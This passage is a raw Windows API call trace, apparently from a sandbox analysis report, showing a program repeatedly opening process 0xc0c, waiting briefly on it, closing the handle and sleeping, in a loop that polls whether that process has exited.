(dwMilliseconds=0x1) [0273.049] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x11ac [0273.049] WaitForSingleObject (hHandle=0x11ac, dwMilliseconds=0xa) returned 0x102 [0273.063] CloseHandle (hObject=0x11ac) returned 1 [0273.063] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.063] Sleep (dwMilliseconds=0x1) [0273.079] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x11ac [0273.079] WaitForSingleObject (hHandle=0x11ac, dwMilliseconds=0xa) returned 0x102 [0273.094] CloseHandle (hObject=0x11ac) returned 1 [0273.094] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.094] Sleep (dwMilliseconds=0x1) [0273.109] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x11ac [0273.109] WaitForSingleObject (hHandle=0x11ac, dwMilliseconds=0xa) returned 0x102 [0273.126] CloseHandle (hObject=0x11ac) returned 1 [0273.126] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.126] Sleep (dwMilliseconds=0x1) [0273.141] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x11ac [0273.141] WaitForSingleObject (hHandle=0x11ac, dwMilliseconds=0xa) returned 0x102 [0273.157] CloseHandle (hObject=0x11ac) returned 1 [0273.157] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.157] Sleep (dwMilliseconds=0x1) [0273.172] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x11ac [0273.172] WaitForSingleObject (hHandle=0x11ac, dwMilliseconds=0xa) returned 0x102 [0273.188] CloseHandle (hObject=0x11ac) returned 1 [0273.188] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.188] Sleep (dwMilliseconds=0x1) [0273.204] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x11ac [0273.204] WaitForSingleObject (hHandle=0x11ac, dwMilliseconds=0xa) returned 0x102 [0273.220] CloseHandle (hObject=0x11ac) returned 1 [0273.220] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.220] Sleep (dwMilliseconds=0x1) [0273.236] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x11e0 [0273.236] WaitForSingleObject (hHandle=0x11e0, dwMilliseconds=0xa) returned 0x102 [0273.251] CloseHandle (hObject=0x11e0) returned 1 [0273.251] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.251] Sleep (dwMilliseconds=0x1) [0273.266] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x11e0 [0273.266] WaitForSingleObject (hHandle=0x11e0, dwMilliseconds=0xa) returned 0x102 [0273.283] CloseHandle (hObject=0x11e0) returned 1 [0273.283] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.284] Sleep (dwMilliseconds=0x1) [0273.299] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x11fc [0273.299] WaitForSingleObject (hHandle=0x11fc, dwMilliseconds=0xa) returned 0x102 [0273.314] CloseHandle (hObject=0x11fc) returned 1 [0273.314] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.314] Sleep (dwMilliseconds=0x1) [0273.329] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1230 [0273.329] WaitForSingleObject (hHandle=0x1230, dwMilliseconds=0xa) returned 0x102 [0273.344] CloseHandle (hObject=0x1230) returned 1 [0273.344] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.344] Sleep (dwMilliseconds=0x1) [0273.359] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x124c [0273.359] WaitForSingleObject (hHandle=0x124c, dwMilliseconds=0xa) returned 0x102 [0273.375] CloseHandle (hObject=0x124c) returned 1 [0273.375] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.375] Sleep (dwMilliseconds=0x1) [0273.391] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x124c [0273.391] WaitForSingleObject (hHandle=0x124c, dwMilliseconds=0xa) returned 0x102 [0273.406] CloseHandle (hObject=0x124c) returned 1 [0273.406] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.406] Sleep (dwMilliseconds=0x1) [0273.422] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x124c [0273.422] WaitForSingleObject (hHandle=0x124c, dwMilliseconds=0xa) returned 0x102 [0273.444] CloseHandle (hObject=0x124c) returned 1 [0273.444] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.444] Sleep (dwMilliseconds=0x1) [0273.453] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x124c [0273.453] WaitForSingleObject (hHandle=0x124c, dwMilliseconds=0xa) returned 0x102 [0273.469] CloseHandle (hObject=0x124c) returned 1 [0273.469] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.469] Sleep (dwMilliseconds=0x1) [0273.485] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x124c [0273.485] WaitForSingleObject (hHandle=0x124c, dwMilliseconds=0xa) returned 0x102 [0273.500] CloseHandle (hObject=0x124c) returned 1 [0273.500] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.500] Sleep (dwMilliseconds=0x1) [0273.516] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x124c [0273.516] WaitForSingleObject (hHandle=0x124c, dwMilliseconds=0xa) returned 0x102 [0273.531] CloseHandle (hObject=0x124c) returned 1 [0273.531] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.531] Sleep (dwMilliseconds=0x1) [0273.547] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x124c [0273.547] WaitForSingleObject (hHandle=0x124c, dwMilliseconds=0xa) returned 0x102 [0273.563] CloseHandle (hObject=0x124c) returned 1 [0273.563] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.563] Sleep (dwMilliseconds=0x1) [0273.578] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x124c [0273.578] WaitForSingleObject (hHandle=0x124c, dwMilliseconds=0xa) returned 0x102 [0273.596] CloseHandle (hObject=0x124c) returned 1 [0273.596] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.596] Sleep (dwMilliseconds=0x1) [0273.610] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x124c [0273.610] WaitForSingleObject (hHandle=0x124c, dwMilliseconds=0xa) returned 0x102 [0273.625] CloseHandle (hObject=0x124c) returned 1 [0273.625] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.625] Sleep (dwMilliseconds=0x1) [0273.641] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1258 [0273.641] WaitForSingleObject (hHandle=0x1258, dwMilliseconds=0xa) returned 0x102 [0273.670] CloseHandle (hObject=0x1258) returned 1 [0273.670] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.670] Sleep (dwMilliseconds=0x1) [0273.675] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1264 [0273.675] WaitForSingleObject (hHandle=0x1264, dwMilliseconds=0xa) returned 0x102 [0273.690] CloseHandle (hObject=0x1264) returned 1 [0273.690] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.690] Sleep (dwMilliseconds=0x1) [0273.705] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x128c [0273.705] WaitForSingleObject (hHandle=0x128c, dwMilliseconds=0xa) returned 0x102 [0273.723] CloseHandle (hObject=0x128c) returned 1 [0273.723] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.723] Sleep (dwMilliseconds=0x1) [0273.741] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x12bc [0273.741] WaitForSingleObject (hHandle=0x12bc, dwMilliseconds=0xa) returned 0x102 [0273.764] CloseHandle (hObject=0x12bc) returned 1 [0273.764] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.764] Sleep (dwMilliseconds=0x1) [0273.766] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x12bc [0273.766] WaitForSingleObject (hHandle=0x12bc, dwMilliseconds=0xa) returned 0x102 [0273.783] CloseHandle (hObject=0x12bc) returned 1 [0273.783] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.783] Sleep (dwMilliseconds=0x1) [0273.798] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x12fc [0273.798] WaitForSingleObject (hHandle=0x12fc, dwMilliseconds=0xa) returned 0x102 [0273.813] CloseHandle (hObject=0x12fc) returned 1 [0273.813] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.813] Sleep (dwMilliseconds=0x1) [0273.829] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1310 [0273.829] WaitForSingleObject (hHandle=0x1310, dwMilliseconds=0xa) returned 0x102 [0273.845] CloseHandle (hObject=0x1310) returned 1 [0273.845] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.845] Sleep (dwMilliseconds=0x1) [0273.861] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x133c [0273.861] WaitForSingleObject (hHandle=0x133c, dwMilliseconds=0xa) returned 0x102 [0273.876] CloseHandle (hObject=0x133c) returned 1 [0273.876] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.876] Sleep (dwMilliseconds=0x1) [0273.892] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1368 [0273.892] WaitForSingleObject (hHandle=0x1368, dwMilliseconds=0xa) returned 0x102 [0273.906] CloseHandle (hObject=0x1368) returned 1 [0273.906] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.906] Sleep (dwMilliseconds=0x1) [0273.924] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1368 [0273.924] WaitForSingleObject (hHandle=0x1368, dwMilliseconds=0xa) returned 0x102 [0273.938] CloseHandle (hObject=0x1368) returned 1 [0273.938] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.938] Sleep (dwMilliseconds=0x1) [0273.954] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1380 [0273.954] WaitForSingleObject (hHandle=0x1380, dwMilliseconds=0xa) returned 0x102 [0273.969] CloseHandle (hObject=0x1380) returned 1 [0273.969] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0273.969] Sleep (dwMilliseconds=0x1) [0273.984] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1380 [0273.984] WaitForSingleObject (hHandle=0x1380, dwMilliseconds=0xa) returned 0x102 [0274.000] CloseHandle (hObject=0x1380) returned 1 [0274.000] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.000] Sleep (dwMilliseconds=0x1) [0274.016] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1380 [0274.016] WaitForSingleObject (hHandle=0x1380, dwMilliseconds=0xa) returned 0x102 [0274.032] CloseHandle (hObject=0x1380) returned 1 [0274.032] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.032] Sleep (dwMilliseconds=0x1) [0274.047] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1394 [0274.047] WaitForSingleObject (hHandle=0x1394, dwMilliseconds=0xa) returned 0x102 [0274.065] CloseHandle (hObject=0x1394) returned 1 [0274.065] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.065] Sleep (dwMilliseconds=0x1) [0274.078] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1394 [0274.078] WaitForSingleObject (hHandle=0x1394, dwMilliseconds=0xa) returned 0x102 [0274.094] CloseHandle (hObject=0x1394) returned 1 [0274.094] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.094] Sleep (dwMilliseconds=0x1) [0274.110] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1394 [0274.110] WaitForSingleObject (hHandle=0x1394, dwMilliseconds=0xa) returned 0x102 [0274.126] CloseHandle (hObject=0x1394) returned 1 [0274.126] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.126] Sleep (dwMilliseconds=0x1) [0274.141] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1398 [0274.141] WaitForSingleObject (hHandle=0x1398, dwMilliseconds=0xa) returned 0x102 [0274.156] CloseHandle (hObject=0x1398) returned 1 [0274.156] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.156] Sleep (dwMilliseconds=0x1) [0274.172] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1398 [0274.172] WaitForSingleObject (hHandle=0x1398, dwMilliseconds=0xa) returned 0x102 [0274.188] CloseHandle (hObject=0x1398) returned 1 [0274.188] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.188] Sleep (dwMilliseconds=0x1) [0274.203] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x13c4 [0274.203] WaitForSingleObject (hHandle=0x13c4, dwMilliseconds=0xa) returned 0x102 [0274.219] CloseHandle (hObject=0x13c4) returned 1 [0274.219] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.219] Sleep (dwMilliseconds=0x1) [0274.238] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x13c4 [0274.238] WaitForSingleObject (hHandle=0x13c4, dwMilliseconds=0xa) returned 0x102 [0274.250] CloseHandle (hObject=0x13c4) returned 1 [0274.250] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.250] Sleep (dwMilliseconds=0x1) [0274.266] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x13c4 [0274.266] WaitForSingleObject (hHandle=0x13c4, dwMilliseconds=0xa) returned 0x102 [0274.281] CloseHandle (hObject=0x13c4) returned 1 [0274.281] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.285] Sleep (dwMilliseconds=0x1) [0274.297] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x13c4 [0274.297] WaitForSingleObject (hHandle=0x13c4, dwMilliseconds=0xa) returned 0x102 [0274.321] CloseHandle (hObject=0x13c4) returned 1 [0274.321] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.321] Sleep (dwMilliseconds=0x1) [0274.330] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1404 [0274.330] WaitForSingleObject (hHandle=0x1404, dwMilliseconds=0xa) returned 0x102 [0274.344] CloseHandle (hObject=0x1404) returned 1 [0274.344] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.344] Sleep (dwMilliseconds=0x1) [0274.360] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1404 [0274.360] WaitForSingleObject (hHandle=0x1404, dwMilliseconds=0xa) returned 0x102 [0274.375] CloseHandle (hObject=0x1404) returned 1 [0274.375] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.375] Sleep (dwMilliseconds=0x1) [0274.391] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1404 [0274.391] WaitForSingleObject (hHandle=0x1404, dwMilliseconds=0xa) returned 0x102 [0274.401] CloseHandle (hObject=0x1404) returned 1 [0274.401] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.401] Sleep (dwMilliseconds=0x1) [0274.403] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1404 [0274.403] WaitForSingleObject (hHandle=0x1404, dwMilliseconds=0xa) returned 0x102 [0274.413] CloseHandle (hObject=0x1404) returned 1 [0274.413] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.413] Sleep (dwMilliseconds=0x1) [0274.414] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1404 [0274.414] WaitForSingleObject (hHandle=0x1404, dwMilliseconds=0xa) returned 0x102 [0274.424] CloseHandle (hObject=0x1404) returned 1 [0274.424] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.425] Sleep (dwMilliseconds=0x1) [0274.426] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1404 [0274.426] WaitForSingleObject (hHandle=0x1404, dwMilliseconds=0xa) returned 0x102 [0274.446] CloseHandle (hObject=0x1404) returned 1 [0274.446] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.446] Sleep (dwMilliseconds=0x1) [0274.462] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1404 [0274.462] WaitForSingleObject (hHandle=0x1404, dwMilliseconds=0xa) returned 0x102 [0274.478] CloseHandle (hObject=0x1404) returned 1 [0274.478] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.478] Sleep (dwMilliseconds=0x1) [0274.493] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1404 [0274.493] WaitForSingleObject (hHandle=0x1404, dwMilliseconds=0xa) returned 0x102 [0274.509] CloseHandle (hObject=0x1404) returned 1 [0274.509] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.509] Sleep (dwMilliseconds=0x1) [0274.524] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1404 [0274.524] WaitForSingleObject (hHandle=0x1404, dwMilliseconds=0xa) returned 0x102 [0274.544] CloseHandle (hObject=0x1404) returned 1 [0274.544] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.544] Sleep (dwMilliseconds=0x1) [0274.566] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1434 [0274.566] WaitForSingleObject (hHandle=0x1434, dwMilliseconds=0xa) returned 0x102 [0274.571] CloseHandle (hObject=0x1434) returned 1 [0274.571] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.571] Sleep (dwMilliseconds=0x1) [0274.587] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1434 [0274.587] WaitForSingleObject (hHandle=0x1434, dwMilliseconds=0xa) returned 0x102 [0274.603] CloseHandle (hObject=0x1434) returned 1 [0274.603] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.603] Sleep (dwMilliseconds=0x1) [0274.620] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x143c [0274.622] WaitForSingleObject (hHandle=0x143c, dwMilliseconds=0xa) returned 0x102 [0274.634] CloseHandle (hObject=0x143c) returned 1 [0274.634] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.634] Sleep (dwMilliseconds=0x1) [0274.650] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x143c [0274.650] WaitForSingleObject (hHandle=0x143c, dwMilliseconds=0xa) returned 0x102 [0274.665] CloseHandle (hObject=0x143c) returned 1 [0274.665] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.665] Sleep (dwMilliseconds=0x1) [0274.681] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x143c [0274.681] WaitForSingleObject (hHandle=0x143c, dwMilliseconds=0xa) returned 0x102 [0274.696] CloseHandle (hObject=0x143c) returned 1 [0274.696] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.696] Sleep (dwMilliseconds=0x1) [0274.713] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x143c [0274.713] WaitForSingleObject (hHandle=0x143c, dwMilliseconds=0xa) returned 0x102 [0274.730] CloseHandle (hObject=0x143c) returned 1 [0274.730] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.730] Sleep (dwMilliseconds=0x1) [0274.756] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1458 [0274.756] WaitForSingleObject (hHandle=0x1458, dwMilliseconds=0xa) returned 0x102 [0274.759] CloseHandle (hObject=0x1458) returned 1 [0274.759] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.759] Sleep (dwMilliseconds=0x1) [0274.775] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1464 [0274.775] WaitForSingleObject (hHandle=0x1464, dwMilliseconds=0xa) returned 0x102 [0274.790] CloseHandle (hObject=0x1464) returned 1 [0274.790] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0274.790] Sleep (dwMilliseconds=0x1) [0274.806] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1474 [0274.806] WaitForSingleObject (hHandle=0x1474, dwMilliseconds=0xa) returned 0x102 [0274.821] 